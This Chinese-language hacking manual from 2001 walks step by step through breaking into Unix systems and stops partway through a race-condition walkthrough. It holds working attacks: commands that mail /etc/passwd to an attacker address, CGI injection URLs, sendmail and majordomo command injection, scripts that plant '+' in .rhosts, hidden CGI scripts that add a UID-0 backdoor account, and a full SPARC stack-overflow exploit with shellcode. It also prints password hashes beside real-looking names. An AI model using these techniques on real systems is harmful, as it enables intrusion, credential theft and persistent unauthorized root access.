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| 网络入侵实用战术手册 |
| 作者:samsa (2001-04-16 13:10:30) |
[摘要] 入侵一个系统有很多步骤，阶段性很强的“工作”，其最终的目
标是获得超级用户权限——对目标系统的绝对控制。从对该系统一无所知
开始，我们利用其提供的各种网络服务收集关于它的信息，这些信息暴露
出系统的安全脆弱性或潜在入口；然后我们利用这些网络服务固有的或配
置上的漏洞，试图从目标系统上取回重要信息（如口令文件）、或在上面
执行命令，通过这些办法，我们有可能在该系统上获得一个普通的shell
接口；接下来，我们再利用目标系统本地的操作系统或应用程序的漏洞试
图提升我们在该系统上的权限，攫取超级用户控制；适当的善后工作包括
隐藏身份、消除痕迹、安置特洛伊木马和留后门。
(零)、确定目标
1) 目标明确--那就不用废话了
2) 抓网：从一个有很多链接的WWW站点开始，顺藤摸瓜；
3) 区段搜索：如用samsa开发的mping(multi-ping);
4) 到网上去找站点列表；
(一)、 白手起家（情报搜集）
从一无所知开始：
1) tcp_scan，udp_scan
# tcp_scan numen 1-65535
7:echo:
9:discard:
13:daytime:
19:chargen:
21:ftp:
23:telnet:
25:smtp:
37:time:
79:finger
111:sunrpc:
512:exec:
513:login:
514:shell:
515:printer:
540:uucp:
2049:nfsd:
4045:lockd:
6000:xwindow:
6112:dtspc:
7100:fs:
…
# udp_scan numen 1-65535
7:echo:
9:discard:
13:daytime:
19:chargen:
37:time:
42:name:
69:tftp:
111:sunrpc:
161:UNKNOWN:
177:UNKNOWN:
...
看什么:
1.1)可疑服务: finger,sunrpc,nfs,nis(yp),tftp,etc..
1.2)系统入口: ftp,telnet,http, shell(rsh), login (rlogin),smtp,exec(rexec)
(samsa: [/etc/inetd.conf]最要紧!!)
2) finger
# finger root@numen
[numen]
Login Name TTY Idle When Where
root Super-User console 1 Fri 10:03 :0
root Super-User pts/6 6 Fri 12:56 192.168.0.116
root Super-User pts/7 Fri 10:11 zw
root Super-User pts/8 1 Fri 10:04 :0.0
root Super-User pts/1 4 Fri 10:08 :0.0
root Super-User pts/11 3:16 Fri 09:53 192.168.0.114
root Super-User pts/10 Fri 13:08 192.168.0.116
root Super-User pts/12 1 Fri 10:13 :0.0
(samsa: root 这么多，不容易被发现哦~)
# finger ylx@numen
[victim.com]
Login Name TTY Idle When Where
ylx ??? pts/9 192.168.0.79
# finger @numen
[numen]
Login Name TTY Idle When Where
root Super-User console 7 Fri 10:03 :0
root Super-User pts/6 11 Fri 12:56 192.168.0.116
root Super-User pts/7 Fri 10:11 zw
root Super-User pts/11 3:21Fri 09:53 192.16 numen:pts/10 May 7 13:08 18 (192.168.0.116)
(samsa:如果没有finger,就只好有rusers乐)
4) showmount
# showmount -ae numen
export table of numen:
/space/users/lpf sun9
samsa:/space/users/lpf
sun9:/space/users/lpf
(samsa:该机提供了那些共享目录,谁共享了这些目录[/etc/dfs/dfstab])
5) rpcinfo
# rpcinfo -p numen
program vers proto port service
100000 4 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100024 1 udp 32772 status
100024 1 tcp 32771 status
100021 4 udp 4045 nlockmgr
100001 2 udp 32778 rstatd
100083 1 tcp 32773 ttdbserver
100235 1 tcp 32775
100021 2 tcp 4045 nlockmgr
100005 1 udp 32781 mountd
100005 1 tcp 32776 mountd
100003 2 udp 2049 nfs
100011 1 udp 32822 rquotad
100002 2 udp 32823 rusersd
100002 3 tcp 33180 rusersd
100012 1 udp 32824 sprayd
100008 1 udp 32825 walld
100068 2 udp 32829 cmsd
(samsa:[/etc/rpc]可惜没开rexd,据说开了rexd就跟没password一样哦!
不过有rstat,rusers,mount和nfs:-)
6) x-windows
# DISPLAY=victim.com:0.0
# export DISPLAY
# xhost
access control disabled, clients can connect from any host
(samsa:great!!!)
# xwininfo -root
xwininfo: Window id: 0x25 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1152
Height: 900
Depth: 24
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x21 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1152x900+0+0
(samsa:can't be greater!!!!!!!!!!!)
7) smtp
# telnet numen smtp
Trying 192.168.0.198...
Connected to numen.
Escape character is '^]'.
220 numen.ac.cn ESMTP Sendmail 8.9.1b+Sun/8.9.1; Fri, 7 May 1999 14:01:39 +0800
(CST)
expn root
250 Super-User
vrfy ylx
250
expn ftp
250
(samsa:ftp说明有匿名ftp)
(samsa:如果没有finger和rusers，只好用这种方法一个个猜用户名乐)
debug
500 Command unrecognized: "debug"
wiz
500 Command unrecognized: "wiz"
(samsa:这些著名的漏洞现在哪儿还会有呢？:-(()
8) 使用 scanner(***)
# satan victim.com
...
(samsa:satan 是图形界面的,就没法陈列了!!
列举出 victim.com 的系统类型(e.g.SunOS 5.7),提供的服务(e.g.WWW)和存在的脆弱性)
二、隔山打牛（远程攻击）
1) 隔空取物:取得passwd
1.1) tftp
# tftp numen
tftp> get /etc/passwd
Error code 2: Access violation
tftp> get /etc/shadow
Error code 2: Access violation
tftp> quit
(samsa:一无所获,但是...)
# tftp sun8
tftp> get /etc/passwd
Received 965 bytes in 0.1 seconds
tftp> get /etc/shadow
Error code 2: Access violation
(samsa:成功了!!!;-)
# cat passwd
root:x:0:0:Super-User:/:/bin/ksh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:/bin/sh
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
smtp:x:0:0:Mail Daemon User:/:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
ylx:x:10007:10::/users/ylx:/bin/sh
wzhou:x:10020:10::/users/wzhou:/bin/sh
wzhang:x:10101:4:Walt Whiteman:/users/wzhang:/sbin/sh
(samsa:可惜是shadow过了的:-/)
1.2) 匿名ftp
1.2.1) 直接获得
# ftp sun8
Connected to sun8.
220 sun8 FTP server (UNIX(r) System V Release 4.0) ready.
Name (sun8:root): anonymous
331 Guest login ok, send ident as password.
Password:
(samsa:your e-mail address,当然，是假的:->)
230 Guest login ok, access restrictions apply.
ftp> ls
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.168.0.198,34243) (0 bytes).
bin
dev
etc
incoming
pub
usr
226 ASCII Transfer complete.
35 bytes received in 0.85 seconds (0.04 Kbytes/s)
ftp> cd etc
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.168.0.198,34244) (0 bytes).
group
passwd
226 ASCII Transfer complete.
15 bytes received in 0.083 seconds (0.18 Kbytes/s)
ftp> get passwd
200 PORT command successful.
150 ASCII data connection for passwd (192.168.0.198,34245) (223 bytes).
226 ASCII Transfer complete.
local: passwd remote: passwd
231 bytes received in 0.038 seconds (5.98 Kbytes/s)
# cat passwd
root:x:0:0:Super-User:/:/bin/ksh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:/bin/sh
adm:x:4:4:Admin:/var/adm:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nobody:x:60001:60001:Nobody:/:
ftp:x:210:12::/export/ftp:/bin/false
(samsa:正常!把完整的 passwd 放在匿名ftp目录下的笨蛋太少了)
1.2.2) ftp 主目录可写
# cat forward_sucker_file
"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr"
# ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:[your e-mail address:forged]
230 Guest login ok, access restrictions apply.
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
# echo test | mail ftp@victim.com
(samsa:等着passwd文件随邮件来到吧...)
1.3) WWW
著名的cgi大bug
1.3.1) phf
http://silly.com/cgi-bin/nph-test-cgi?*
http://silly.com/cgi-bin/phf?Qalias=x%0aless%20/etc/passwd
1.3.2) campus
http://silly.edu/cgi-bin/campus?%0a/bin/cat%0a/etc/passwd
1.3.3) glimpse
http://silly.com/cgi-bin/aglimpse/80|IFS=5;CMD=5mail5me\mailto:@my.e-mail.
addr\
(samsa:行太长,折了折,不要紧吧? ;-)
1.4) nfs
1.4.1) 如果把/etc共享出来，就不必说了
1.4.2) 如果某用户的主目录共享出来
# showmount -e numen
export list for numen:
/space/users/lpf sun9
/space/users/zw (everyone)
# mount -F nfs numen:/space/users/zw /mnt
# cd /mnt
# ls -ld .
drwxr-xr-x 6 1005 staff 2560 1999 5月 11 .
# echo zw:x:1005:1:temporary break-in account:/:/bin/sh >> /etc/passwd
# echo zw::::::::: >> /etc/shadow
# su zw
$ cat >.forward
"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr"
^D
# echo test | mail zw@numen
(samsa:等着你的邮件吧....)
1.5) sniffer
利用ethernet的广播性质，偷听网络上经过的IP包，从而获得口令。
关于sniffer的原理和技术细节，见[samsa 1999].
(samsa:没什么意思,有种``胜之不武''的感觉...)
1.6) NIS
1.6.1) 猜测域名，然后用ypcat(或对于NIS+:niscat)可获得passwd（甚至shadow）
1.6.2) 若能控制NIS服务器，可创建邮件别名
nis-master # echo 'foo: "| mail me@my.e-mail.addr < /etc/passwd "' >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com
1.7) e-mail
e.g.利用majordomo(ver. 1.94.3)的漏洞
Reply-to: a~.`/usr/bin/rcp\${IFS}me@hacker.home.edu:script\${IFS}/tmp
/script&&source\${IFS}/tmp/script`.q~a/ad=cucu/c=scapegoat\\\@his.e-mail
# cat script
/bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr
#
1.8) sendmail
利用sendmail 5.55的漏洞:
# telnet victim.com 25
Trying xxx.xxx.xxx.xxx...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail me@my.e-mail.addr < /etc/passwd"
250 "|/bin/mail me@my.e-mail.addr < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
(samsa:wait...)
2) 远程控制
2.1) DoS攻击
2.1.1) Syn-flooding
向目标发起大量TCP连接请求，但不按TCP协议规定完成正常的3次握手，导致目标系统等待，耗费其
网络资源，从而导致其网络服务不可用。
2.1.2) Ping-flooding
向目标系统发大量ping包,i.e.ICMP_ECHO包，使目标的网络接口应接不暇而瘫痪。
2.1.3) Udp-stroming
类似2.1.2)发大量udp包。
2.1.4) E-mail bombing
发大量e-mail到对方邮箱，使其没有剩余容量接收正常邮件。
2.1.5) Nuking
向目标系统某端口发送一点特定数据，使之崩溃。
2.1.6) Hi-jacking
冒充特定网络连接之一放向网络上发送特定包(FIN或RST)，以中止特定网络连接；
2.2) WWW（远程执行）
2.2.1) phf CGI
2.2.3) campus CGI
2.2.4) glimpse CGI
(samsa:在网上看见NT下也有一个叫websn.exe的buggy CGI,详情不清楚)
2.3) e-mail
同1.7，利用majordomo(ver. 1.94.3)的漏洞
2.4) sunrpc:rexd
据说如果rexd开放，且rpcbind不是secure方式，就相当于没有口令，可以任意远程
运行目标机器上的过?nbsp;
2.5) x-windows
如果xhost的access control is disabled,就可以远程控制这台机器的显示系统，在
上面任意显示，还可以偷窃键盘输入和显示内容，甚至可以远程执行...
三、登堂入室（远程登录）
1) telnet
要点是取得用户帐号和保密字
1.1) 取得用户帐号
1.1.1) 使用“白手起家”中介绍的方法
1.1.2) 其他方法：e.g.根据从那个站点寄出的e-mail地址
1.2) 获取口令
1.2.1) 口令破解
1.2.1.1) 使用“隔空取物”中介绍的方法取得/etc/passwd和/etc/shadow
1.2.1.2) 使用口令破解程序破解口令
e.g.使用john the riper：
# unshadow passwd shadow > pswd.1
# pwd_crack -single pswd.1
# pwd_crack -wordfile:/usr/dict/words -rules pswd.1
# pwd_crack -i:alph5 pswd.1
1.2.1.3) 使用samsa开发的适合中国人的字典生成程序
# dicgen 1 words1 /* 所有1音节的汉语拼音 */
# dicgen 2 words2 /* 所有2音节的汉语拼音 */
# dicgen 3 words3 /* 所有3音节的汉语拼音 */
# pwd_crack -wordfile:words1 -rules pswd.1
# pwd_crack -wordfile:words2 -rules pswd.1
# pwd_crack -wordfile:words3 -rules pswd.1
1.2.2) 蛮干(brute force)：猜测口令
猜法：与用户名相同的口令，用户名的简单变体，机构名，机器型号etc
e.g. cxl: cxl,cxl111,cxl123,cxl12345,cxlsun,ultra30 etc...
(samsa:如果用户数足够多，这种方法还是很有效的:需要运气和灵感)
2) r-命令:rlogin,rsh
关键在信任关系，即:/etc/hosts.equiv,~/.rhosts文件
2.1) /etc/hosts.equiv
如果/etc/hosts.equiv文件中有一个"+"，那么任何一台主机上的任何一个用户（root除
外），可以远程登录而不需要口令,并成为该机上同名用户;
2.2) ~/.rhosts
如果某用户主目录(home directory)下.rhosts文件中有一个"+"，那么任何一台主机上
的同名用户可以远程登录而不需要口令
2.3) 改写这两个文件
2.3.1) nfs
如果某用户的主目录共享出来
# showmount -e numen
export list for numen:
/space/users/lpf sun9
/space/users/zw (everyone)
# mount -F nfs numen:/space/users/zw /mnt
# cd /mnt
# ls -ld .
drwxr-xr-x 6 1005 staff 2560 1999 5月 11 .
# echo zw:x:1005:1:temporary break-in account:/:/bin/sh >> /etc/passwd
# echo zw::::::::: >> /etc/shadow
# su zw
$ cat >.rhosts
+
^D
$ rsh numen csh -i
Warning: no access to tty; thus no job control in this shell...
numen%
2.3.2) smtp
利用``decode''别名
a) 若任一用户主目录(e.g./home/zen)或其下.rhosts对daemon可写，则
# echo "+" | uuencode /home/zen/.rhosts | mail decode@victim.com
(samsa:于是/home/zem/.rhosts中就出现一个"+")
b) 无用户主目录或其下.rhosts对daemon可写，则利用/etc/aliases.pag,
因为许多系统中该文件是world-writable.
# cat decode
bin: "| cat /etc/passwd | mail me@my.e-mail.addr"
# newaliases -oQ/tmp -oA`pwd`/decode
# uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
# /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
(samsa:wait .....)
c) sendmail 5.59 以前的bug
# cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
+
.
quit
EOSM
# /bin/sh evil_sendmail
Trying xxx.xxx.xxx.xxx
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
# rlogin victim.com -l zen
Welcome to victim.com!
$
d) sendmail 的一个较`新'bug
# telnet victim.com 25
Trying xxx.xxx.xxx.xxx...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|echo + >> /home/zen/.rhosts"
250 "|echo + >> /home/zen/.rhosts"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
# rsh victim.com -l zen csh -i
Welcome to victim.com!
$
2.3.3) IP-spoofing
r-命令的信任关系建立在IP上，所以通过IP-spoofing可以获得信任;
3) rexec
类似于telnet,也必须拿到用户名和口令
4) ftp 的古老bug
# ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (or whatever)
(samsa:你已经是root了)
四、溜门撬锁
一旦在目标机上获得一个(普通用户)shell,能做的事情就多了
1) /etc/passwd , /etc/shadow
能看则看，能取则取，能破则破
1.1) 直接(no NIS)
$ cat /etc/passwd
......
1.2) NIS(yp:yellow page)
$ domainname
cas.ac.cn
$ ypwhich -d cas.ac.cn
$ ypcat passwd
1.3) NIS+
ox% domainname
ios.ac.cn
ox% nisls
ios.ac.cn:
org_dir
groups_dir
ox% nisls org_dir
org_dir.ios.ac.cn.:
passwd
group
auto_master
auto_home
bootparams
cred
ethers
hosts
mail_aliases
sendmailvars
netmasks
netgroup
networks
protocols
rpc
services
timezone
ox% niscat passwd.org_dir
root:uop5Jji7N1T56:0:1:Super-User:/:/bin/csh:9841::::::
daemon:NP:1:1::/::6445::::::
bin:NP:2:2::/usr/bin::6445::::::
sys:NP:3:3::/::6445::::::
adm:NP:4:4:Admin:/var/adm::6445::::::
lp:NP:71:8:Line Printer Admin:/usr/spool/lp::6445::::::
smtp:NP:0:0:Mail Daemon User:/::6445::::::
uucp:NP:5:5:uucp Admin:/usr/lib/uucp::6445::::::
listen:*LK*:37:4:Network Admin:/usr/net/nls::::::::
nobody:NP:60001:60001:Nobody:/::6445::::::
noaccess:NP:60002:60002:No Access User:/::6445::::::
guest:NP:14:300:Guest:/hd2/guest:/bin/csh:10658::::::
syscd:qkPu7IcquHRRY:120:10::/usr/syscd:/bin/csh:::::::
peif:DyAkTGOg/2TCY:819:800:Pei Fei:/home/peif:/bin/csh:10491::::::
lxh:T4FjqDv0LG7uM:510:500:Liu Xuehui:/home/lxh:/bin/csh:10683::::::
fjh:5yPB5xLOibHD6:507:500:Feng Jinhui:/home/fjh:/bin/csh:10540::::::
lhj:UGAVVMvjp/9UM:509:500:Li Hongju:/home/lhj:/bin/csh:10142::::::
....
(samsa:gotcha!!!)
2) 寻找系统漏洞
2.0) 搜集信息
ox% uname -a
SunOS ox 5.5 Generic sun4d sparc SUNW,SPARCserver-1000
ox% id
uid=820(ywc) gid=800(ofc)
ox% hostname
ox
ox% domainname
ios.ac.cn
ox% ifconfig -a
lo0: flags=849 mtu 8232
inet 127.0.0.1 netmask ff000000
be0: flags=863 mtu 1500
inet 159.226.5.188 netmask ffffffc0 broadcast 159.226.5.191
ipd0: flags=c0 mtu 8232
inet 0.0.0.0 netmask 0
ox% netstat -rn
Routing Table:
Destination Gateway Flags Ref Use Interface
-------------------- -------------------- ----- ----- ------ ---------
127.0.0.1 127.0.0.1 UH 0 738 lo0
159.226.5.128 159.226.5.188 U 3 341 be0
224.0.0.0 159.226.5.188 U 3 0 be0
default 159.226.5.189 UG 0 1198
......
2.1) 寻找可写文件、目录
ox% cd /tmp
ox% mkdir .hide
ox% cd .hide
ox% ls -ld `find / \( \( -type d -o -type f \) -a \( -perm -0002 -o -group 800 \
-a -perm -0020 \) \) -print` >.wr
(samsa:wr=writables:可写目录、文件)
ox% grep '^d' .wr > .wd
(samsa:wd=writable directories:目录)
ox% grep '^-' .wr > .wf
(samsa:wf=writable files:普通文件)
ox% ls -l `find / \( -perm -4000 -a -user root \) -print` >.sr
(samsa:sr=suid roots)
2.1.1) 系统配置文件可写:e.g.pam.conf,inetd.conf,inittab,passwd,etc.
2.1.2) bin 目录可写:e.g./usr/bin,/usr/local/bin,etc. (see:Trojan horses)
2.1.3) log 文件可写:e.g./var/adm/wtmp,/var/adm/messges,etc.(for track-erasing)
2.2) 篡改主页
绝大多数系统 http 根目录下权限设置有误！不信请看：
ox1% grep http /etc/inetd.conf
ox1% ps -ef | grep http
http 7538 251 0 14:02:35 ? 0:02 /opt/home1/ofc/http/httpd/httpd -
f /opt/home1/ofc/http/httpd/conf/httpd.conf
http 7567 251 0 15:16:46 ? 0:01 /opt/home1/ofc/http/httpd/httpd -
f /opt/home1/ofc/http/httpd/conf/httpd.conf
root 251 1 0 May 05 ? 3:27 /opt/home1/ofc/http/httpd/httpd -
f /opt/home1/ofc/http/httpd/conf/httpd.conf
......
ox1% cd /opt/home1/ofc/http/httpd
ox1% ls -l |more
total 530
drwxrwxrwx 11 http ofc 512 Jan 18 13:21 English
-rw-rw-rw- 1 http ofc 8217 May 10 09:42 Welcome.html
drwxr-sr-x 2 http ofc 512 Dec 24 15:20 cgi-bin
drwxr-sr-x 2 http ofc 512 Mar 24 1997 cgi-src
drwxrwxrwx 2 http ofc 512 Jan 12 15:05 committee
drwxr-sr-x 2 root ofc 512 Jul 2 1998 conf
-rwxr-xr-x 1 http ofc 203388 Jul 2 1998 httpd
drwxrwxrwx 2 http ofc 512 Jan 12 15:06 icons
drwxrwxrwx 2 http ofc 3072 Jan 12 15:07 images
-rw-rw-rw- 1 http ofc 7532 Jan 12 15:08 index.htm
drwxrwxrwx 2 http ofc 512 Jan 12 15:07 introduction
drwxr-sr-x 2 http ofc 512 Apr 13 08:46 logs
drwxrwxrwx 2 http ofc 1024 Jan 12 17:19 research
(samsa:哈哈！！差不多全都可以写，太牛了，改吧，还等什么？？）
3) 拒绝服务（DoS:Denial of Service）
利用系统漏洞捣乱
e.g. Solaris 2.5(2.5.1)下：
$ ping -sv -i 127.0.0.1 224.0.0.1
PING 224.0.0.1 56 data bytes
(samsa:于是机器就reboot乐,荷荷)
五、雄霸天下（rootshell）
取得超级用户权限
1)利用错误配置
1.1) 利用cgi-bin
e.g.有一次：
$ hostname
victim.com
$ grep http /etc/inetd.conf
http stream tcp nowait root /usr/local/etc/httpd/httpd httpd
(samsa:以root来运行httpd，太玩火乐...)
$ cd /usr/local/etc/httpd
$ ls -l
total 530
drwxrwxrwx 2 http ofc 512 Dec 24 15:20 cgi-bin
drwxr-sr-x 2 http ofc 512 Mar 24 1997 cgi-src
drwxr-sr-x 2 root ofc 512 Jul 2 1998 conf
-rw-rw-rw- 1 http ofc 3814 Jan 12 17:14 contact.htm
-rw-rw-rw- 1 http ofc 604 Apr 16 10:08 dm.html
drwxrwxrwx 2 http ofc 1536 Apr 9 16:51 education
-rwxr-xr-x 1 http ofc 203388 Jul 2 1998 httpd
drwxrwxrwx 2 http ofc 512 Jan 12 15:06 icons
drwxrwxrwx 2 http ofc 3072 Jan 12 15:07 images
-rw-rw-rw- 1 http ofc 7532 Jan 12 15:08 index.htm
drwxr-sr-x 2 http ofc 512 Apr 13 08:46 logs
drwxrwxrwx 2 http ofc 512 Jan 12 17:18 publications
drwxrwxrwx 2 http ofc 1024 Jan 12 15:07 qita
(samsa:cgi-bin可写，你完了！！！）
$ cd cgi-bin
$ mkdir .hide; cd .hide
$ cat > .getps
#!/bin/sh
echo "------ passwd ------"
/bin/cat /etc/passwd
echo "------ shadow ------"
/bin/cat /etc/shadow
^D
$ chmod a+x .getps
在浏览器location栏中键入http://victim.com/cgi-bin/.hide/.getps
得到以下输出:
------ passwd ------
root:x:0:1:Super-User:/:/usr/bin/ksh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
leopard:x:100:20::/space/users/lpf:/bin/sh
------ shadow ------
root:W27wJyew7noIs:10710::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
listen:*LK*:::::::
nobody:NP:6445::::::
noaccess:NP:6445::::::
nobody4:NP:6445::::::
leopard:5gLpBVsH5lumg:10703::::::
添加用户,取一个象系统的名字，如smnp:
$ cat >.mkusr
#!/bin/sh
cat > /etc/passwd <root:x:0:1:Super-User:/:/usr/bin/ksh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
smnp:x:0:1:SmNetManager:/:/usr/bin/ksh # hacker
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
leopard:x:100:20::/space/users/lpf:/bin/sh
EOF
^D
$ cat >.mksw
#!/bin/sh
cat > /etc/shadow <root:W27wJyew7noIs:10710::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
smnp:::::::: # hacker
uucp:NP:6445::::::
nuucp:NP:6445::::::
listen:*LK*:::::::
nobody:NP:6445::::::
noaccess:NP:6445::::::
nobody4:NP:6445::::::
leopard:5gLpBVsH5lumg:10703::::::
EOF
^D
$ chmod a+x .mkusr .mksw
在浏览器location栏中依次键入http://victim.com/cgi-bin/.hide/.mkusr
和http://victim.com/cgi-bin/.hide/.mksw
$ su smnp
# id
uid=0(root) gid=1(sys)
(samsa:成功了！！！）
2)利用操作系统漏洞
操作系统漏洞或应用程序漏洞，通常要求程序本身是SUID ROOT的。
其中“堆栈溢出”和“竞争条件”两类最多，加起来大概可以占所有系统漏洞80%。
前者最终exec一个shell,euid=0，从而成为root;
后者通常写root主目录下的.rhosts文件，然后通过rsh成为root;
2.1) 堆栈溢出
e.g. SunOS 5.5 上的/usr/bin/eject程序处理数据缓冲区边界有误，通过使数据越
过边界，改写堆栈中函数返回地址，以使函数返回时，不跳转到调用它的地方，而是
跳转到数据区的某处，那里放着我们的代码...
------------------------- begin: eject.c --------------------------------
#include
#include
#include
#include
#define BUF_LENGTH 364
#define EXTRA 400
#define STACK_OFFSET 400
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA + 8];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0;
if(argc > 1) dso=atoi(argv[1]);
long_p =(u_long *) buf ;
targ_addr = get_sp() - STACK_OFFSET - dso;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ =targ_addr;
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/bin/eject", "eject", & buf[1],(char *) 0);
perror("execl failed");
}
------------------------------ end: eject.c ------------------------------
假设你在ox上只有普通帐号,想成为root:
ox% uname -a
SunOS ox 5.5 Generic sun4d sparc SUNW,SPARCserver-1000
ox% gcc eject.c -o ej
ox% ./ej
#
(samsa: 轻松成为root，哇！！！）
2.2) 竞争条件（race condition,or symbolic-link following)
e.g.也是SunOS 5.5上的例子,先看程序:
--------------------------- begin: uhit.sh ----------------------
#!/bin/sh
CALIB=/usr/openwin/bin/kcms_calibrate
CONF=/usr/openwin/bin/kcms_configure
PROFDIR=/usr/openwin/share/etc/devdata/profiles
SEM=Kp_kcms_sys.sem
PROFFILE=kcmsEKsony17.mon
DISP=hacker.home.edu:0.0
DISPLAY=$DISP
export DISPLAY
/bin/rm -rf /tmp/$SEM
ln -s /.rhosts /tmp/$SEM
$CALIB&
while [ 1 ]
do
echo "Click the device you've chosen in kcms_calibrate window"
$CONF -o -d $DISP $PROFDIR/$PROFFILE
if [ -f /.rhosts ]
then
echo " " >> /.rhosts
echo "+" >> /.rhosts
fi
done
--------------------------- end : uhit.sh ----------------------
其中 PROFFILE 和 DISP 两个变量是需要根据具体环境改成适当的值的.
说明一下，``kcms_calibrate''是openwin系统用来调整显示器参数的一个
程序，该程序在/tmp目录下创建一个临时文件``Kp_kcms_sys.sem'',并且是
symbolic-link following的，也就是说，如果你在该目录下创建一个同名
的符号链接，那该程序就会跟随这个符号链接，从而去操作该链接所指向的
那个文件，具体到这里，就是root的主目录下的/.rhosts，如果该文件不存
在，就创建它，并把它的权限修改成world-writable。
$ ls -l /usr/openwin/bin/kcms*
-rwsr-sr-x 1 root bin 94044 1998 7月 10 kcms_calibrate
-rwsr-sr-x 1 root bin 27752 1998 7月 10 kcms_configure
-rwxr-xr-x 1 root bin 24380 1998 7月 10 kcms_server
这一切之所以可能，正是因为``kcms_calibrate''和``kcms_configure''都是
SUID root的。
现在把过程讲一下：
第一步在你自己的机器上做，要求你必须在你自己机器的(有图形显示器的)控制
台上,且你的机器提供 X-Windows 服务,设你的机器域名为 hacker.home.edu，攻
击对象的域名为 victim.com：
# xhost +victim.com
victim.com being added to access control list
(目的是为了让在victim.con上运行的带图形界面的程序能把界面显示在你的机
器上，这样你才能控制嘛...)
第二步在对方的机器上做，要求你有普通用户帐号(废话！！).
# telnet victim.com
...
vic% uname -a
